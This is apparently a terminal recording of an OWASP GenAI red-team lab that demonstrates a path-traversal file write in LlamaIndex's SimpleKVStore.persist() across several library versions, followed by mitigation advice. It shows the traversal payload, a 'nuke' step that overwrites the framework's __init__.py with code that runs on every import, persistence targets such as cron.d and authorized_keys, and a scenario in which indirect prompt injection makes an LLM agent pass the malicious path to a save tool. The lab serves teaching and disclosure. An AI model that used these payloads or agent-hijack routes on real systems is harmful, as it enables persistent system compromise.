wrote 'EXPLOIT_SUCCESS' to ../../../../../../tmp/llamaindex_pwned.txt\r\n 2. No path validation was performed - the write succeeded\r\n 3. This demonstrates CWE-22 -> CWE-94 (arbitrary file write)\r\n\r\n The same vulnerability that wrote to /tmp/ can also write to:\r\n \u001b[1m - /etc/cron.d/ (persistent scheduled execution)\u001b[0m\r\n \u001b[1m - /usr/local/lib/python3.11/site-packages/ (library overwrite)\u001b[0m\r\n \u001b[1m - /root/.ssh/authorized_keys (SSH persistence)\u001b[0m\r\n \u001b[1m - /etc/ld.so.preload (library injection)\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ INCOMPLETE PATCH PROOF ═══\u001b[0m\r\n Stage 0: dataset.py AND persist() both vulnerable\r\n Stage 1: dataset.py deleted but still in PyPI, persist() STILL VULNERABLE\r\n Stage 2: logic migrated, persist() STILL VULNERABLE\r\n \u001b[91mThe vendor never fixed SimpleKVStore.persist().\u001b[0m\r\n"] [64.762728, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 4: Framework Overwrite (RCE via Persistence)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Overwrite llama_index/core/__init__.py to achieve\r\n persistent code execution on every import.\r\n\r\n"] [65.058706, "o", "\u001b[36m[*] Current: Stage 1 - llama-index-core==0.14.20\u001b[0m\r\n\u001b[36m[*] SimpleKVStore.persist() is vulnerable in ALL stages\u001b[0m\r\n"] [65.577528, "o", "\u001b[36m[*] Sending nuke action...\u001b[0m\r\n"] [65.578968, "o", "\u001b[2m Target: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n"] [66.090675, "o", "\r\n\u001b[92m[NUKE] Framework file overwritten: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\r\n[NUKE] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 1\u001b[0m\r\n"] [67.091297, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'import os;f=open('/tmp/llamaindex_pwned','w');f.write('RCE_SUCCESS');f.close()...', 78) = 78\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Verifying compromise...\u001b[0m\r\n"] [67.093381, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m"] [67.093632, "o", "\r\n"] [68.098054, "o", "\r\n\u001b[92m[✓] FRAMEWORK COMPROMISED!\u001b[0m\r\n\u001b[92m Markers found: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() wrote attacker-controlled data to __init__.py\r\n 2. The core library file is now corrupted\r\n 3. Any subsequent 'import llama_index' triggers the payload\r\n\r\n\u001b[1m\u001b[33m ⚠️ PERSISTENT COMPROMISE (CVSS Scope Change)\u001b[0m\r\n This is NOT a transient RCE. The framework source code is modified on disk.\r\n All future Python processes importing llama_index will execute the payload.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [69.600928, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m"] [69.602033, "o", "\r\n\u001b[1m LESSON 5: Scope Change Proof (Persistent Compromise)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the compromise survives across process boundaries.\r\n\r\n"] [69.692095, "o", "\u001b[36m[*] Checking current state...\u001b[0m\r\n"] [69.694988, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m\r\n"] [70.696382, "o", "\r\n\u001b[92m[✓] SCOPE CHANGE CONFIRMED!\u001b[0m"] [70.696834, "o", "\r\n\u001b[92m The framework source file has been modified on disk.\u001b[0m\r\n\u001b[92m Markers: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[32m This proves the exploit achieved CVSS Scope Change (S:C).\u001b[0m\r\n\u001b[32m The compromise is NOT transient - it persists in the filesystem.\u001b[0m\r\n\u001b[32m Any new Python process importing llama_index will be affected.\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ WHY THIS MATTERS ═══\u001b[0m\r\n"] [70.698098, "o", " The vendor's shadow patch (deleting dataset.py) did NOT fix this.\r\n SimpleKVStore.persist() remains vulnerable in ALL versions.\r\n Without a CVE, SCA scanners will NOT flag this in enterprise environments.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [72.225146, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 6: Mitigation Strategies\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Understand the architectural fix vs. band-aid patches.\r\n\r\n\u001b[1m\u001b[36m═══ PROPOSED FIX: Path Anchoring ═══\u001b[0m\r\n\r\n\u001b[32m Correct Pattern:\u001b[0m\r\n\u001b[2m from pathlib import Path\u001b[0m\r\n\u001b[2m \u001b[0m\r\n\u001b[2m def get_anchored_path(safe_root: str, user_input: str) -> Path:\u001b[0m\r\n\u001b[2m base_dir = Path(safe_root).resolve()\u001b[0m\r\n\u001b[2m target_path = (base_dir / user_input).resolve()\u001b[0m\r\n\u001b[2m if not target_path.is_relative_to(base_dir):\u001b[0m\r\n\u001b[2m raise PermissionError('Path Traversal Blocked!')\u001b[0m\r\n\u001b[2m return target_path\u001b[0m\r\n\r\n"] [73.229452, "o", "\u001b[1m\u001b[33m═══ WHY THE VENDOR'S 'FIX' IS INCOMPLETE ═══\u001b[0m\r\n\r\n 1. \u001b[1mDeleting dataset.py (Stage 1)\u001b[0m\r\n \u001b[2m- Removed the PoC target, did NOT fix root cause\u001b[0m\r\n \u001b[2m- SimpleKVStore.persist() left unprotected\u001b[0m\r\n\r\n 2. \u001b[1mMigrating logic to workflows (Stage 2)\u001b[0m\r\n \u001b[2m- Path sanitization only in workflows sub-package\u001b[0m\r\n \u001b[2m- Core storage module (SimpleKVStore) never patched\u001b[0m\r\n\r\n 3. \u001b[1mNo CVE Assignment\u001b[0m\r\n \u001b[2m- SCA scanners show no alerts for affected versions\u001b[0m\r\n \u001b[2m- Enterprise deployments remain blind to the risk\u001b[0m\r\n\r\n"] [74.235926, "o", "\u001b[1m\u001b[36m═══ WHAT A REAL FIX REQUIRES ═══\u001b[0m\r\n\r\n \u001b[32m✓ Path Anchoring:\u001b[0m Mandatory .resolve() + is_relative_to() on ALL file I/O\r\n \u001b[32m✓ Type-Safe Sinks:\u001b[0m Strict path type validation before any file operation\r\n \u001b[32m✓ Centralized I/O:\u001b[0m Single audited file utility instead of scattered sinks\r\n \u001b[32m✓ CVE Assignment:\u001b[0m Public disclosure so SCA scanners can detect vulnerable versions\r\n"] [75.73791, "o", "\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m\u001b[34m STAGE 2: Logic Migrated (v0.14.21+)\u001b[0m\r\n\u001b[1m\u001b[34m data_sinks moved — persist() STILL VULNERABLE\u001b[0m\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[36m[*] Building Stage 2: llama-index-core==0.14.21+\u001b[0m\r\n\u001b[2mLogic Migrated - data_sinks moved to workflows sub-package, SimpleKVStore.persist() STILL vulnerable\u001b[0m\r\n"] [89.379972, "o", "\u001b[32m[+] Stage 2 ready at http://127.0.0.1:8000\u001b[0m\r\n"] [89.381042, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 1: Baseline Verification\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the framework is clean and identify what's vulnerable.\r\n\r\n"] [89.464304, "o", "\u001b[36m[*] Checking sandbox health...\u001b[0m\r\n"] [89.467225, "o", "\u001b[2m{\r\n \"dataset_functions_available\": false,\r\n \"init_integrity\": \"clean\",\r\n \"llama_version\": \"0.14.21\",\r\n \"sandbox_dir\": \"/app/sandbox_data\",\r\n \"stage\": 2,\r\n \"status\": \"ok\"\r\n}\u001b[0m\r\n"] [90.482724, "o", "\r\n\u001b[36m[*] Checking framework integrity...\u001b[0m\r\n"] [90.490272, "o", "\u001b[2m{\r\n \"clean\": true,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [],\r\n \"size_bytes\": 4184,\r\n \"status\": \"clean\"\r\n}\u001b[0m\r\n"] [91.494201, "o", "\r\n\u001b[36m[*] Checking stage info...\u001b[0m"] [91.496874, "o", "\r\n"] [91.501458, "o", "\u001b[2m{\r\n \"stage\": 2,\r\n \"version\": \"0.14.21\",\r\n \"dataset_functions_available\": false,\r\n \"SimpleKVStore_available\": true,\r\n \"SimpleKVStore_vulnerable\": true,\r\n \"compromised\": false\r\n}\u001b[0m\r\n"] [93.017675, "o", "\r\n\u001b[1m\u001b[32m═══ CURRENT STAGE ANALYSIS ═══\u001b[0m\r\n Stage: 2 (llama-index-core==0.14.21+)\r\n Vendor Action: Migrated logic under 'typo fix' commit - no CVE issued\r\n dataset.py functions: DELETED by vendor\r\n SimpleKVStore.persist(): VULNERABLE\r\n\r\n\u001b[33m ⚠️ Logic migrated but:\u001b[0m\r\n - SimpleKVStore.persist() is STILL VULNERABLE\r\n - The core vulnerability persists in ALL versions\r\n"] [94.518995, "o", "\r\n\u001b[33m[SKIP] Lesson 2 requires Stage 0 (dataset.py not available in Stage 2)\u001b[0m\r\n\r\n"] [95.520814, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 3: Path Traversal Write (ALL Stages) [HANDS-ON]\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n This is the interactive lesson. You can customize payloads and explore.\r\n\r\n"] [95.772534, "o", "\u001b[36m═══ THE VULNERABILITY ═══\u001b[0m\r\n\r\n"] [95.772868, "o", " The root cause is in \u001b[1mSimpleKVStore.persist()\u001b[0m in\r\n \u001b[2mllama_index/core/storage/kvstore.py\u001b[0m\r\n\r\n \u001b[1mdef persist(self, persist_path: str, fs=None):\u001b[0m\r\n \u001b[2mdirpath = os.path.dirname(persist_path)\u001b[0m\r\n \u001b[2mif not fs.exists(dirpath):\u001b[0m\r\n \u001b[2m fs.makedirs(dirpath)\u001b[0m\r\n \u001b[2mwith fs.open(persist_path, 'w') as f: # <--- NO PATH VALIDATION\u001b[0m\r\n \u001b[2m f.write(json.dumps(self._collections_mappings))\u001b[0m\r\n\r\n The function accepts a \u001b[1mpersist_path\u001b[0m parameter and writes to it\r\n \u001b[1mwithout any validation\u001b[0m. No .resolve(), no is_relative_to(), no anchoring.\r\n\r\n\u001b[36m═══ HOW AN LLM COULD TRIGGER THIS ═══\u001b[0m\r\n\r\n Scenario: An AI agent is given a tool to 'save configuration data'.\r\n The LLM is prompted to persist data to a file. An attacker uses\r\n indirect prompt injection to manipulate the LLM's output.\r\n\r\n \u001b[1mLLM Prompt:\u001b[0m 'Save the current configuration to a file.'\r\n \u001b[1mLLM Response:\u001b[0m 'I will save the configuration to\r\n \u001b[1m../../../../../../etc/cron.d/malicious_payload\u001b[0m'\r\n\r\n The LLM's output is passed directly to SimpleKVStore.persist()\r\n without validation. The path traversal succeeds.\r\n\r\n"] [95.772938, "o", " \u001b[33mThis is NOT a hypothetical attack. This is exactly how AI agents\r\n using LlamaIndex tools can be weaponized against their own infrastructure.\u001b[0m\r\n\r\n\u001b[36m═══ CURRENT STATE ═══\u001b[0m\r\n"] [95.775895, "o", " Stage: 2 (llama-index-core==0.14.21+)\r\n dataset.py: DELETED by vendor\r\n SimpleKVStore.persist(): VULNERABLE\r\n \u001b[91mpersist() is exploitable in ALL stages.\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Sending drop action...\u001b[0m\r\n\u001b[2m Path: ../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[2m Content: EXPLOIT_SUCCESS\u001b[0m\r\n"] [96.287389, "o", "\r\n\u001b[92m[DROP] SUCCESS: EXPLOIT_SUCCESS -> ../../../../../../tmp/llamaindex_pwned.txt\r\n[DROP] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 2\u001b[0m"] [96.287512, "o", "\r\n"] [97.289089, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"../../../../../../tmp/llamaindex_pwned.txt\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'EXPLOIT_SUCCESS...', 15) = 15\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() wrote 'EXPLOIT_SUCCESS' to ../../../../../../tmp/llamaindex_pwned.txt\r\n 2. No path validation was performed - the write succeeded\r\n 3. This demonstrates CWE-22 -> CWE-94 (arbitrary file write)\r\n\r\n The same vulnerability that wrote to /tmp/ can also write to:\r\n \u001b[1m - /etc/cron.d/ (persistent scheduled execution)\u001b[0m\r\n \u001b[1m - /usr/local/lib/python3.11/site-packages/ (library overwrite)\u001b[0m\r\n \u001b[1m - /root/.ssh/authorized_keys (SSH persistence)\u001b[0m\r\n \u001b[1m - /etc/ld.so.preload (library injection)\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ INCOMPLETE PATCH PROOF ═══\u001b[0m\r\n Stage 0: dataset.py AND persist() both vulnerable\r\n Stage 1: dataset.py deleted, persist() STILL VULNERABLE\r\n Stage 2: logic migrated, persist() STILL VULNERABLE\r\n \u001b[91mThe vendor never fixed SimpleKVStore.persist().\u001b[0m\r\n"] [98.789713, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 4: Framework Overwrite (RCE via Persistence)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Overwrite llama_index/core/__init__.py to achieve\r\n persistent code execution on every import.\r\n\r\n"] [99.149602, "o", "\u001b[36m[*] Current: Stage 2 - llama-index-core==0.14.21+\u001b[0m\r\n\u001b[36m[*] SimpleKVStore.persist() is vulnerable in ALL stages\u001b[0m\r\n"] [99.66437, "o", "\u001b[36m[*] Sending nuke action...\u001b[0m\r\n\u001b[2m Target: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n"] [100.188643, "o", "\r\n\u001b[92m[NUKE] Framework file overwritten: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\r\n[NUKE] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 2\u001b[0m\r\n"] [101.198074, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'import os;f=open('/tmp/llamaindex_pwned','w');f.write('RCE_SUCCESS');f.close()...', 78) = 78\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Verifying compromise...\u001b[0m\r\n"] [101.205066, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m"] [101.205284, "o", "\r\n"] [102.206311, "o", "\r\n\u001b[92m[✓] FRAMEWORK COMPROMISED!\u001b[0m\r\n\u001b[92m Markers found: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() wrote attacker-controlled data to __init__.py\r\n 2. The core library file is now corrupted\r\n 3. Any subsequent 'import llama_index' triggers the payload\r\n\r\n\u001b[1m\u001b[33m ⚠️ PERSISTENT COMPROMISE (CVSS Scope Change)\u001b[0m\r\n This is NOT a transient RCE. The framework source code is modified on disk.\r\n All future Python processes importing llama_index will execute the payload.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [103.707366, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 5: Scope Change Proof (Persistent Compromise)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the compromise survives across process boundaries.\r\n\r\n"] [103.781784, "o", "\u001b[36m[*] Checking current state...\u001b[0m\r\n"] [103.784108, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m\r\n"] [104.786616, "o", "\r\n\u001b[92m[✓] SCOPE CHANGE CONFIRMED!\u001b[0m"] [104.786895, "o", "\r\n\u001b[92m The framework source file has been modified on disk.\u001b[0m\r\n\u001b[92m Markers: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[32m This proves the exploit achieved CVSS Scope Change (S:C).\u001b[0m\r\n\u001b[32m The compromise is NOT transient - it persists in the filesystem.\u001b[0m\r\n\u001b[32m Any new Python process importing llama_index will be affected.\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ WHY THIS MATTERS ═══\u001b[0m\r\n The vendor's shadow patch (deleting dataset.py) did NOT fix this.\r\n SimpleKVStore.persist() remains vulnerable in ALL versions.\r\n Without a CVE, SCA scanners will NOT flag this in enterprise environments.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [106.293852, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 6: Mitigation Strategies\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Understand the architectural fix vs. band-aid patches.\r\n\r\n\u001b[1m\u001b[36m═══ PROPOSED FIX: Path Anchoring ═══\u001b[0m\r\n\r\n\u001b[32m Correct Pattern:\u001b[0m\r\n\u001b[2m from pathlib import Path\u001b[0m\r\n\u001b[2m \u001b[0m\r\n\u001b[2m def get_anchored_path(safe_root: str, user_input: str) -> Path:\u001b[0m\r\n\u001b[2m base_dir = Path(safe_root).resolve()\u001b[0m\r\n\u001b[2m target_path = (base_dir / user_input).resolve()\u001b[0m\r\n\u001b[2m if not target_path.is_relative_to(base_dir):\u001b[0m\r\n\u001b[2m raise PermissionError('Path Traversal Blocked!')\u001b[0m\r\n\u001b[2m return target_path\u001b[0m\r\n\r\n"] [107.297417, "o", "\u001b[1m\u001b[33m═══ WHY THE VENDOR'S 'FIX' IS INCOMPLETE ═══\u001b[0m\r\n\r\n 1. \u001b[1mDeleting dataset.py (Stage 1)\u001b[0m\r\n \u001b[2m- Removed the PoC target, did NOT fix root cause\u001b[0m\r\n \u001b[2m- SimpleKVStore.persist() left unprotected\u001b[0m\r\n\r\n 2. \u001b[1mMigrating logic to workflows (Stage 2)\u001b[0m\r\n \u001b[2m- Path sanitization only in workflows sub-package\u001b[0m\r\n \u001b[2m- Core storage module (SimpleKVStore) never patched\u001b[0m\r\n\r\n 3. \u001b[1mNo CVE Assignment\u001b[0m\r\n \u001b[2m- SCA scanners show no alerts for affected versions\u001b[0m\r\n \u001b[2m- Enterprise deployments remain blind to the risk\u001b[0m\r\n\r\n"] [108.345004, "o", "\u001b[1m\u001b[36m═══ WHAT A REAL FIX REQUIRES ═══\u001b[0m\r\n\r\n \u001b[32m✓ Path Anchoring:\u001b[0m Mandatory .resolve() + is_relative_to() on ALL file I/O\r\n \u001b[32m✓ Type-Safe Sinks:\u001b[0m Strict path type validation before any file operation\r\n \u001b[32m✓ Centralized I/O:\u001b[0m Single audited file utility instead of scattered sinks\r\n \u001b[32m✓ CVE Assignment:\u001b[0m Public disclosure so SCA scanners can detect vulnerable versions\r\n"] [109.845545, "o", "\r\n\u001b[1m\u001b[32m══════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m\u001b[32m GUIDED COURSE COMPLETE!\u001b[0m\r\n\u001b[1m\u001b[32m══════════════════════════════════════════════════════\u001b[0m\r\n\r\n \u001b[1mKey Takeaway:\u001b[0m\r\n The vendor deleted dataset.py (Stage 1) and migrated logic to\r\n workflows (Stage 2), but \u001b[1mSimpleKVStore.persist()\u001b[0m was NEVER patched.\r\n It remains exploitable in ALL versions.\r\n\r\n \u001b[1mLessons Learned:\u001b[0m\r\n \u001b[32m✓\u001b[0m CWE-22 Path Traversal leads to arbitrary file write\r\n \u001b[32m✓\u001b[0m SimpleKVStore.persist() has no path validation\r\n \u001b[32m✓\u001b[0m LLM output can weaponize this via indirect prompt injection\r\n \u001b[32m✓\u001b[0m Shadow patching leaves the root cause unaddressed\r\n \u001b[32m✓\u001b[0m Without a CVE, SCA scanners give false negatives\r\n\r\n \u001b[1mReference:\u001b[0m JDP-2026-003 (https://jdp-security.github.io/security-research-papers/2026-05-12-llamaindex-selfnuke-disclosure.html) | CVSS 10.0 (Critical)\r\n\r\n \u001b[1mTry Lesson 7 (Custom Payload Sandbox) to build your own exploits!\u001b[0m\r\n\r\n"] [112.853438, "o", "\u001b[0m"] [112.863832, "o", " \r\r"] [112.864015, "o", "\u001b]0;kali@kali: ~/OWASP/GenAI-Red-Team-Lab/exploitation/llamaindex\u0007\r\n"] [112.871031, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~/OWASP/GenAI-Red-Team-Lab/exploitation/llamaindex\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] [112.871273, "o", "\u001b[?1h\u001b=\u001b[?2004h"] [119.81195, "o", "\u001b[?2004l\r\r\n"]